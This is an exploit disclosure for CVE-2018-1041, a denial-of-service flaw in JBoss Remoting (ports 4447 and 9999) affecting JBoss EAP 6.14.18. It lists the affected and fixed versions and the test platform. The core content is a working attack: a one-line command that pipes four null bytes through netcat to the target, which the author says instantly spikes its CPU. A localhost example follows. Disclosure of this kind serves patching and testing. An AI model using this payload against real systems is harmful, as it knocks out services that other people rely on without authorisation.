# Exploit Title: Exploit Denial of Service JBoss Remoting (4447/9999)
 
# Date: 14-02-2018
 
# Exploit Author: Frank Spierings
 
# Vendor Homepage:
https://www.redhat.com/en/technologies/jboss-middleware/application-platform/get-started
 
# Software Link: http://ftp.redhat.com/pub/redhat/jboss/eap/
 
# Version: JBoss EAP 6.14.18 | Fixed in JBoss EAP 6.14.19
 
# Tested on: Red Hat Enterprise Linux Server release 7.4 |
 
# CVE : CVE-2018-1041
 
 
 
This is a very easy Denial of Service exploit. The target only requires 4
null bytes: `\x00\x00\x00\x00`.
 
The CPU will instantly spike after receiving this payload.
 
 
 
printf "\x00\x00\x00\x00" | nc <target> <port = 4447|9999>
 
`printf "\x00\x00\x00\x00" | nc 127.0.0.1 4447`